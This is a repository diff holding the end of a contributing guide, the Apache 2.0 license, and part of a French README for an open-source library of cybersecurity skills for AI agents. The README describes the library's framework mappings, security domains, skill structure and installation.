- **Documentation links, not marketing links.** Link the vendor's docs, API reference or CLI manual. No pricing pages, no signup funnels, no referral or campaign-tagged URLs.
- **No cross-selling.** A general procedure should not route the reader toward one vendor's product when the task does not require it.
The `## Tools & Resources` lists are a special case. They carry standards, RFCs and vendor-neutral documentation. If you want to add a commercial product to one, open an issue first naming what it does that no entry already in that list does. "It also does this" is not enough: there are 87 of these lists in the repository and every vendor in a given space has an equal claim on them, so without that bar they turn into directories.
This applies to me as well. Where the README links to something of mine, it should be labelled as mine.
### Affiliation
If you are affiliated with a product, service, vendor, project or domain referenced in your PR — you work there, contract for it, founded it, are paid by it, or maintain it — say so in the PR description. One line is enough.
Disclosure is not disqualifying. People who build a tool often write the most accurate procedure for it, and I would rather have that procedure with a disclosure than a vaguer one without. It is the non-disclosure that damages trust, because it turns every later reader into someone who has to guess. If it is unclear to me, I will ask; a plain answer settles it.
If an undisclosed connection surfaces during review, that is the entire consequence: the PR goes on hold until it is stated, and is then reviewed on its merits like anything else. Adding the disclosure when asked carries no penalty, and nothing is closed over it.
### AI-assisted contributions
AI assistance is allowed. This is a repository of skills for AI agents; banning it would be absurd.
What is required is disclosure and human responsibility:
- **Say so in the PR description.** One line is enough.
- **A human must have run the commands.** Not read them, not sanity-checked them — run them, on a real system, and seen the output that is now in the skill.
- **A human takes responsibility.** The `author` frontmatter field names a person or a team account, not a tool, and that account should be able to answer review questions about the procedure.
- **It still has to pass the validators**, like everything else.
The failure mode to guard against is a generated procedure that was never executed: flags that look plausible but do not exist, options borrowed from a different major version, output formats that were invented rather than observed. That kind of content is worse than no skill at all, because an agent will follow it confidently. Generated and verified is welcome; generated and unverified is not.
## Subdomains
Choose the most appropriate subdomain for your skill. `tools/validate-skill.py` is the source of truth; these 34 are the canonical values. A handful of older aliases are still accepted for existing skills and are listed beside their canonical form — the validator prints a warning for them, and new skills should use the canonical value.
- `ai-security`
- `api-security`
- `blockchain-security`
- `cloud-security`
- `compliance-governance` — also accepts `governance-risk-compliance`
- `container-security`
- `cryptography`
- `data-protection`
- `deception-technology`
- `devsecops`
- `digital-forensics`
- `endpoint-security`
- `hardware-firmware-security` — also accepts `firmware-analysis`, `firmware-security`
- `identity-access-management` — also accepts `identity-and-access-management`, `identity-security`
- `incident-response`
- `malware-analysis`
- `mobile-security`
- `network-security`
- `ot-ics-security` — also accepts `ot-security`
- `penetration-testing` — also accepts `offensive-security`
- `phishing-defense` — also accepts `social-engineering-defense`
- `privacy-compliance`
- `purple-team`
- `ransomware-defense`
- `red-teaming` — also accepts `red-team`
- `soc-operations` — also accepts `security-operations`
- `supply-chain-security`
- `threat-detection`
- `threat-hunting`
- `threat-intelligence`
- `vulnerability-management`
- `web-application-security` — also accepts `application-security`
- `wireless-security`
- `zero-trust-architecture` — also accepts `zero-trust`
If none of these fits, open an issue before you submit. Adding a subdomain means changing the validator, and that is a separate conversation from adding a skill.
The thinnest subdomains are the ones most worth contributing to: `data-protection` and `purple-team` have one skill each, and `blockchain-security`, `wireless-security` and `privacy-compliance` have two.
## Code of Conduct
This project follows the [Contributor Covenant](CODE_OF_CONDUCT.md). By participating, you agree to uphold this code.
## License
By contributing, you agree that your contributions will be licensed under Apache-2.0.

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,410 @@
<p align="center">
<img src="assets/banner.png" alt="Anthropic Cybersecurity Skills" width="100%">
</p>
<div align="center">
# Compétences Cybersecurity Anthropic
### La plus grande bibliothèque open source de compétences cybersécurité pour agents IA
[![GARS-2026 Survey](https://img.shields.io/badge/GARS--2026-Take%20the%20Survey-E8B84B?style=for-the-badge&logo=googleforms&logoColor=black)](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=flat-square)](LICENSE)
[![Skills](https://img.shields.io/badge/skills-817-brightgreen?style=flat-square)](#ce-quil-contient-29-domaines-de-securite)
[![Frameworks](https://img.shields.io/badge/frameworks-6-orange?style=flat-square)](#six-frameworks-une-seule-bibliotheque-de-competences)
[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
[![Domains](https://img.shields.io/badge/domains-29-9cf?style=flat-square)](#ce-quil-contient-29-domaines-de-securite)
[![Platforms](https://img.shields.io/badge/platforms-26%2B-blueviolet?style=flat-square)](#plateformes-compatibles)
[![Last Commit](https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits/main)
[![agentskills.io](https://img.shields.io/badge/standard-agentskills.io-ff6600?style=flat-square)](https://agentskills.io)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](CONTRIBUTING.md)
[![Playground](https://img.shields.io/badge/Playground-Casky.ai-blue)](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)
[![Hermes Agent](https://img.shields.io/badge/Hermes_Agent-compatible-blueviolet?style=flat)](https://github.com/NousResearch/hermes-agent)
**817 compétences cybersécurité de niveau production · 29 domaines de sécurité · 6 correspondances de frameworks · 26+ plateformes IA**
[Démarrage rapide](#demarrage-rapide) · [Contenu](#ce-quil-contient-29-domaines-de-securite) · [Frameworks](#six-frameworks-une-seule-bibliotheque-de-competences) · [Plateformes](#plateformes-compatibles) · [Contribuer](#contribuer)
</div>
---
> ⚠️ **Projet communautaire** — Il s'agit d'un projet indépendant créé par la communauté. Non affilié à Anthropic PBC.
>
> 🔐 **Usage autorisé et légal uniquement.** Cette bibliothèque inclut des techniques offensives et à double usage (ex. C2 red-team, simulation de phishing, exploitation) destinées à des **tests d'intrusion autorisés, à la recherche en sécurité, à la défense et à l'éducation**. Ne les utilisez que sur des systèmes que vous possédez ou pour lesquels vous avez une **autorisation écrite explicite** de tester, et respectez toutes les lois applicables ainsi que les règles d'engagement. Vous êtes seul responsable de la façon dont vous utilisez ces compétences. Voir SECURITY.md et CODE_OF_CONDUCT.md.
## Donnez à n'importe quel agent IA les compétences de sécurité d'un analyste senior
Un analyste junior sait quel plugin Volatility3 exécuter sur un dump mémoire suspect, quelles règles Sigma détectent un Kerberoasting, et comment analyser une compromission cloud sur trois fournisseurs. **Votre agent IA ne le sait pas — à moins que vous ne lui fournissiez ces compétences.**
Ce dépôt contient **817 compétences cybersécurité structurées** couvrant **29 domaines de sécurité**, chacune suivant le standard ouvert agentskills.io. Chaque compétence est mappée à **six frameworks de l'industrie** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, et le MITRE Fight Fraud Framework (F3) — ce qui en fait la seule bibliothèque open source de compétences offrant une couverture unifiée inter-framework. Clonez-la, pointez votre agent dessus, et votre prochaine investigation sécurité bénéficiera d'un guidage de niveau expert en quelques secondes.
## Six frameworks, une seule bibliothèque de compétences
Aucune autre bibliothèque open source de compétences ne mappe chaque compétence à l'ensemble de ces frameworks. Une compétence, six cases de conformité cochées.
|Framework|Version|Couverture dans ce dépôt|Ce qui est mappé|
|--|--|--|--|
|MITRE ATT&CK|v19.1|15 tactiques · 286 techniques|Comportements adverses et TTP|
|NIST CSF 2.0|2.0|6 fonctions · 22 catégories|Posture de sécurité organisationnelle|
|MITRE ATLAS|v5.4|16 tactiques · 84 techniques|Menaces adverses sur IA/ML|
|MITRE D3FEND|v1.3|7 catégories · 267 techniques|Contre-mesures défensives|
|NIST AI RMF|1.0|4 fonctions · 72 sous-catégories|Gestion des risques IA|
|MITRE F3 (Fight Fraud Framework)|v1.1 (2026-04-09)|8 tactiques · 123 techniques · 94 compétences liées à la fraude|TTP de fraude financière cybernétique|
**Exemple — une seule compétence mappée sur les six frameworks :**
|Compétence|ATT&CK|NIST CSF|ATLAS|D3FEND|AI RMF|F3|
|--|--|--|--|--|--|--|
|`analyzing-network-traffic-of-malware`|T1071|DE.CM|AML.T0047|D3-NTA|MEASURE-2.6|—|
|`detecting-business-email-compromise`|T1566|DE.AE|—|—|—|F1005.006 · monétisation|
### 🆕 MITRE Fight Fraud Framework (F3) — 94 compétences liées à la fraude
Le **MITRE Fight Fraud Framework (F3)** a été publié le **9 avril 2026** par le Center for Threat-Informed Defense (CTID) de MITRE, co-développé avec JPMorganChase, Citigroup, Lloyds Banking Group, Standard Chartered, CrowdStrike, Verizon Business, FS-ISAC, et d'autres. Il s'agit d'un catalogue TTP compatible ATT&CK pour la **fraude financière cybernétique** — comblant le vide laissé par ATT&CK après la compromission initiale.
F3 v1.1 ajoute **deux tactiques spécifiques à la fraude** qu'ATT&CK n'énumère pas :
- **Positioning** (`FA0001`) — actions menées après l'accès pour collecter/manipuler des données et préparer la fraude (ensemencement d'identité synthétique, mise en chauffe de compte, configuration de bénéficiaire, pré-positionnement pour SIM swap, hijack de session bancaire).
- **Monetization** (`FA0002`) — conversion d'actifs volés en fonds utilisables (empilement via money mule, fraude APP, off-ramping crypto, cash-out par carte, abus remboursement/chargeback).
Les techniques spécifiques à la fraude utilisent des IDs `F1XXX` (par ex. `F1005.003` Add Beneficiary, `F1025.003` Wire Transfer, `F1007` Adversary-in-the-Browser) ; les techniques ATT&CK réutilisées conservent leurs IDs `T1XXX`. Les mappings se trouvent dans chaque bloc de frontmatter `mitre_f3:` — les 123 IDs de techniques F3 v1.1 ont tous été vérifiés à partir du bundle STIX upstream. Voir `docs/mitre-f3-mapping.md` pour le schéma.
### MITRE ATT&CK v19.1 — 817/817 compétences mappées
Chaque compétence contient une liste `mitre_attack` en frontmatter validée contre **MITRE ATT&CK v19.1** (la dernière version) à l'aide de la bibliothèque officielle `mitreattack-python` — 286 techniques distinctes sur les 15 tactiques Enterprise, plus des techniques ICS et Mobile lorsque pertinent. Aucun ID révoqué ou obsolète. La restructuration de Defense Evasion dans v19.1 (désormais séparée en **Stealth** et **Defense Impairment**) est reflétée ci-dessous.
|Tactic|ID|Skills|
|--|--|--|
|Reconnaissance|TA0043|103|
|Resource Development|TA0042|22|
|Initial Access|TA0001|467|
|Execution|TA0002|350|
|Persistence|TA0003|444|
|Privilege Escalation|TA0004|464|
|Stealth|TA0005|442|
|Defense Impairment|TA0112|92|
|Credential Access|TA0006|202|
|Discovery|TA0007|237|
|Lateral Movement|TA0008|68|
|Collection|TA0009|172|
|Command and Control|TA0011|123|
|Exfiltration|TA0010|82|
|Impact|TA0040|50|
## Démarrage rapide
```bash
# Option 1 : npx (recommandé)
npx skills add mukul975/Anthropic-Cybersecurity-Skills
# Option 2 : clonage Git
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
cd Anthropic-Cybersecurity-Skills
```
Fonctionne immédiatement avec Claude Code, GitHub Copilot, OpenAI Codex CLI, Cursor, Gemini CLI, et toute plateforme compatible agentskills.io.
## 🌍 GARS-2026 — Global Agentic AI Readiness Survey
Je mène une étude académique mondiale mesurant à quel point les professionnels de la sécurité, les développeurs et les équipes d'entreprise sont réellement prêts pour l'IA agentique — serveurs MCP, tool calling, gouvernance, et workflows human-in-the-loop.
**Si vous utilisez ce dépôt, votre réponse serait une donnée réellement précieuse.**
📋 **Répondez à l'enquête (10 min) :** [Survey Link](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
- 60 questions · Anonyme · Supervisé par SRH Berlin
- Vous recevez **50 Casky Tokens** pour l'accès anticipé à casky.ai
- Résultats publiés en open access sous CC-BY 4.0
## 🚀 Essayez-le dans le Playground
Découvrez Casky.ai en pratique — aucune configuration requise.
**[→ Lancer le Playground sur Casky.ai](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)**
Le playground vous permet de :
- Exécuter des exercices de compétences cybersécurité en direct sur de vraies cibles
- Voir des agents IA exécuter des compétences structurées en temps réel
- Explorer de manière interactive des workflows mappés à MITRE ATT&CK
- Tester des scénarios de threat hunting, DFIR et pentest
Pas d'installation. Pas de configuration. Juste ouvrir et commencer.
## Pourquoi ce projet existe
La pénurie de main-d'œuvre en cybersécurité a atteint **4,8 millions de postes non pourvus** dans le monde en 2024 (ISC2). Les agents IA peuvent aider à combler cet écart — mais seulement s'ils disposent d'une base de connaissances métier structurée.
Les agents actuels savent écrire du code et chercher sur le web, mais ils n'ont pas les playbooks praticiens qui transforment un LLM générique en analyste sécurité compétent.
Les dépôts d'outils de sécurité existants fournissent des wordlists, des payloads ou du code d'exploitation. Aucun ne fournit à un agent IA le workflow de décision structuré qu'un analyste senior suit : quand utiliser chaque technique, quelles préconditions vérifier, comment exécuter étape par étape, et comment valider les résultats. C'est cet écart que ce projet comble.
**Anthropic Cybersecurity Skills** n'est pas une collection de scripts ou de checklists. C'est une **base de connaissances native IA** conçue dès l'origine pour le standard agentskills.io — frontmatter YAML pour la découverte en sous-seconde, Markdown structuré pour l'exécution pas à pas, et fichiers de référence pour le contexte technique approfondi. Chaque compétence encode de vrais workflows praticiens, pas des résumés générés.
## Ce qu'il contient — 29 domaines de sécurité
|Domaine|Compétences|Capacités clés|
|--|--|--|
|Cloud Security|66|AWS, Azure, GCP hardening · CSPM · émulation d'attaques cloud · forensics cloud|
|Threat Hunting|58|Chasse guidée par hypothèses · détection LOTL · chasse EVTX · chasse à l'échelle du parc|
|Threat Intelligence|52|STIX/TAXII · MISP · OpenCTI · intégration de flux · profilage d'acteurs|
|Network Security|43|IDS/IPS · règles de pare-feu · segmentation VLAN · analyse du trafic|
|Web Application Security|42|OWASP Top 10 · SQLi · XSS · SSRF · désérialisation|
|Digital Forensics|41|Imagerie disque · forensique mémoire · chronologies Hayabusa/KAPE/Plaso|
|Malware Analysis|39|Analyse statique/dynamique · rétro-ingénierie · sandboxing|
|Identity & Access Management|37|Entra ID/ROADtools · phishing par code d'appareil · PAM · identité zero trust|
|SOC Operations|35|Playbooks · workflows d'escalade · détection Graph-log · exercices tabletop|
|Red Teaming|33|ADCS/Certipy · BloodHound CE · C2 Sliver/Havoc · relais NTLM|
|Container Security|33|RBAC Kubernetes · scan d'images · Falco · évasion de conteneurs|
|Security Operations|28|Corrélation SIEM · analyse de logs · triage d'alertes|
|OT/ICS Security|28|Modbus · DNP3 · IEC 62443 · défense des historian · SCADA|
|API Security|28|GraphQL · REST · OWASP API Top 10 · contournement WAF|
|Incident Response|26|Confinement de compromission · réponse ransomware · playbooks IR|
|Vulnerability Management|25|Nessus · workflows de scan · priorisation des patchs · CVSS|
|Penetration Testing|21|Réseau · web · cloud · mobile · mouvement latéral NetExec|
|DevSecOps|18|Sécurité CI/CD · scan Trivy IaC/images · signature de code|
|Zero Trust Architecture|17|BeyondCorp · modèle de maturité CISA · microsegmentation|
|Endpoint Security|17|EDR · détection LOTL · malware fileless · chasse à la persistance|
|Cryptography|16|TLS · Ed25519 · migration post-quantique · gestion des clés|
|Phishing Defense|15|Authentification email · détection BEC · IR phishing|
|AI Security|14|Red-teaming LLM (garak/PyRIT) · injection de prompt · sécurité MCP/agentique · garde-fous|
|Mobile Security|13|Analyse Android/iOS · pentest mobile · forensics MDM|
|Ransomware Defense|13|Détection précurseur · réponse · récupération · analyse du chiffrement|
|Compliance & Governance|9|NIST 800-30/RMF · CMMC · HIPAA · TPRM · CIS benchmarks|
|Supply Chain Security|8|SBOMs · confusion de dépendances · triage de paquets malveillants · SLSA/Sigstore|
|Deception Technology|6|Honeytokens · canarytokens · détection de compromission|
|Hardware & Firmware Security|4|Audit CHIPSEC/UEFI · contournement Secure Boot · attestation TPM · chasse aux bootkits|
## Comment les agents IA utilisent ces compétences
Chaque compétence coûte **environ 30 tokens à scanner** (seulement le frontmatter) et **500 à 2 000 tokens à charger entièrement** (workflow complet). Cette architecture de divulgation progressive permet aux agents de parcourir les 817 compétences en une seule passe sans exploser les fenêtres de contexte.
```text
Prompt utilisateur : "Analyse ce dump mémoire pour des signes de vol d'identifiants"
Processus interne de l'agent :
1. Scanne les frontmatters des 817 compétences (~30 tokens chacun)
→ identifie 12 compétences pertinentes en faisant correspondre tags, description, domaine
2. Charge les 3 meilleurs résultats :
- performing-memory-forensics-with-volatility3
- hunting-for-credential-dumping-lsass
- analyzing-windows-event-logs-for-credential-access
3. Exécute le workflow structuré étape par étape
→ lance les plugins Volatility3, vérifie les schémas d'accès à LSASS,
corrèle avec les preuves des journaux d'événements
4. Valide les résultats à l'aide de la section Verification
→ confirme les IOCs, mappe les constatations vers ATT&CK T1003 (Credential Dumping)
```
**Sans ces compétences**, l'agent devine les commandes d'outils et rate des étapes critiques. **Avec elles**, il suit le même playbook qu'un analyste DFIR senior.
## Anatomie d'une compétence
Chaque compétence suit une structure de répertoire cohérente :
```text
skills/performing-memory-forensics-with-volatility3/
├── SKILL.md ← Définition de la compétence (frontmatter YAML + corps Markdown)
├── references/
│ ├── standards.md ← Mappages MITRE ATT&CK, ATLAS, D3FEND, NIST
│ └── workflows.md ← Référence détaillée de procédure technique
├── scripts/
│ └── process.py ← Scripts d'assistance opérationnels
└── assets/
└── template.md ← Checklists et modèles de rapport remplis
```
### Frontmatter YAML (exemple réel)
```yaml
---
name: performing-memory-forensics-with-volatility3
description: >-
Analyser des dumps mémoire pour extraire les processus en cours,
les connexions réseau, le code injecté et les artefacts malware à l'aide
du framework Volatility3.
domain: cybersecurity
subdomain: digital-forensics
tags: [forensics, memory-analysis, volatility3, incident-response, dfir]
atlas_techniques: [AML.T0047]
d3fend_techniques: [D3-MA, D3-PSMD]
nist_ai_rmf: [MEASURE-2.6]
nist_csf: [DE.CM-01, RS.AN-03]
version: "1.2"
author: mukul975
license: Apache-2.0
---
```
### Sections du corps Markdown
```md
## When to Use
Conditions de déclenchement — quand un agent IA doit-il activer cette compétence ?
## Prerequisites
Outils requis, niveaux d'accès et configuration d'environnement.
## Workflow
Guide d'exécution pas à pas avec commandes spécifiques et points de décision.
## Verification
Comment confirmer que la compétence a été exécutée avec succès.
```
Les champs du frontmatter : `name` (kebab-case, 1–64 caractères), `description` (riche en mots-clés pour la découverte par agent), `domain`, `subdomain`, `tags`, `atlas_techniques` (IDs MITRE ATLAS), `d3fend_techniques` (IDs MITRE D3FEND), `nist_ai_rmf` (références NIST AI RMF), `nist_csf` (catégories NIST CSF 2.0). Les mappages MITRE ATT&CK sont documentés dans le fichier `references/standards.md` de chaque compétence et dans la couche ATT&CK Navigator incluse dans les releases.
**📊 Couverture MITRE ATT&CK Enterprise — les 15 tactiques**
|Tactic|ID|Coverage|Key skills|
|--|--|--|--|
|Reconnaissance|TA0043|Strong|OSINT, énumération de sous-domaines, reconnaissance DNS|
|Resource Development|TA0042|Moderate|Infrastructure de phishing, détection de mise en place C2|
|Initial Access|TA0001|Strong|Simulation de phishing, détection d'exploit, forced browsing|
|Execution|TA0002|Strong|Analyse PowerShell, malware fileless, script block logging|
|Persistence|TA0003|Strong|Tâches planifiées, registre, comptes de service, LOTL|
|Privilege Escalation|TA0004|Strong|Kerberoasting, attaques AD, élévation de privilèges cloud|
|Stealth|TA0005|Strong|Obfuscation, analyse rootkit, détection d'évasion|
|Defense Impairment|TA0112|Strong|Désactivation EDR, destruction de logs, contournement de défenses|
|Credential Access|TA0006|Strong|Détection Mimikatz, pass-the-hash, credential dumping|
|Discovery|TA0007|Moderate|BloodHound, énumération AD, scan réseau|
|Lateral Movement|TA0008|Strong|Exploits SMB, détection des déplacements latéraux avec Splunk|
|Collection|TA0009|Moderate|Forensics email, détection de data staging|
|Command and Control|TA0011|Strong|Beaconing C2, DNS tunneling, analyse Cobalt Strike|
|Exfiltration|TA0010|Strong|Exfiltration DNS, contrôles DLP, détection de perte de données|
|Impact|TA0040|Strong|Défense ransomware, analyse du chiffrement, récupération|
Un fichier de couche **ATT&CK Navigator** est inclus dans les assets de release v1.0.0 pour la visualisation de la couverture.
**📊 Alignement NIST CSF 2.0 — les 6 fonctions**
|Function|Skills|Examples|
|--|--|--|
|**Govern (GV)**|30+|Stratégie de risque, cadres de politique, rôles et responsabilités|
|**Identify (ID)**|120+|Découverte des actifs, évaluation du paysage de menaces, analyse du risque|
|**Protect (PR)**|150+|Durcissement IAM, règles WAF, zero trust, chiffrement|
|**Detect (DE)**|200+|Threat hunting, corrélation SIEM, détection d'anomalies|
|**Respond (RS)**|160+|Réponse à incident, forensics, confinement d'une compromission|
|**Recover (RC)**|40+|Récupération ransomware, BCP, reprise après sinistre|
NIST CSF 2.0 (février 2024) a ajouté la fonction **Govern** et étendu le périmètre des infrastructures critiques à toutes les organisations. Les mappages des compétences s'alignent sur les 22 catégories et font référence à 106 sous-catégories.
**📊 Analyse approfondie des frameworks — ATLAS, D3FEND, AI RMF**
### MITRE ATLAS v5.4 — Menaces adverses IA/ML
ATLAS mappe les tactiques, techniques et cas d'usage adverses spécifiques aux systèmes d'IA et de machine learning. La version 5.4 couvre **16 tactiques et 84 techniques**, y compris les vecteurs d'attaque agentiques ajoutés fin 2025 : empoisonnement du contexte d'un agent IA, abus d'invocation d'outils, compromission de serveurs MCP, et déploiement d'agents malveillants. Les compétences mappées à ATLAS aident les agents à identifier et contrer les menaces visant les pipelines ML, les poids de modèles, les API d'inférence et les workflows autonomes.
### MITRE D3FEND v1.3 — Contre-mesures défensives
D3FEND est un graphe de connaissances financé par la NSA contenant **267 techniques défensives** organisées en 7 catégories tactiques : Model, Harden, Detect, Isolate, Deceive, Evict et Restore. Construit sur l'ontologie OWL 2, il utilise une couche Digital Artifact partagée pour mapper bidirectionnellement les contre-mesures défensives aux techniques offensives ATT&CK. Les compétences taguées avec des identifiants D3FEND permettent aux agents de recommander des contre-mesures précises pour les menaces détectées.
### NIST AI RMF 1.0 + GenAI Profile (AI 600-1)
Le cadre AI Risk Management Framework définit 4 fonctions centrales — Govern, Map, Measure, Manage — avec **72 sous-catégories** pour un développement IA digne de confiance. Le GenAI Profile (AI 600-1, juillet 2024) ajoute **12 catégories de risque** spécifiques à l'IA générative, de la confabulation et de la confidentialité des données à l'injection de prompt et aux risques de chaîne d'approvisionnement. Le Colorado AI Act (entré en vigueur en février 2026) offre un **safe harbor légal** aux organisations conformes au NIST AI RMF, rendant ces mappages directement pertinents pour la conformité réglementaire.
## Plateformes compatibles
**Assistants de code IA**
Claude Code (Anthropic) · GitHub Copilot (Microsoft) · Cursor · Windsurf · Cline · Aider · Continue · Roo Code · Amazon Q Developer · Tabnine · Sourcegraph Cody · JetBrains AI
**Agents CLI**
OpenAI Codex CLI · Gemini CLI (Google)
**Agents autonomes**
Devin · Replit Agent · SWE-agent · OpenHands
**Frameworks & SDKs d'agents**
LangChain · CrewAI · AutoGen · Semantic Kernel · Haystack · Vercel AI SDK · Tout agent compatible MCP
Toutes les plateformes supportant le standard agentskills.io peuvent charger ces compétences sans configuration.
## Ce qu'ils en disent
> _"Une base de données de vraies compétences de sécurité organisées que n'importe quel agent IA peut brancher et utiliser. Pas des tutoriels. Pas des articles de blog."_
> — **Hasan Toor (@hasantoxr)**, créateur IA/tech
> _"Ce n'est pas une collection aléatoire de scripts de sécurité. C'est une base de connaissances opérationnelle structurée conçue pour les workflows de sécurité pilotés par IA."_
> — **fazal-sec**, Medium
## Mentionné dans
| Où | Type | Lien |
|--|--|--|
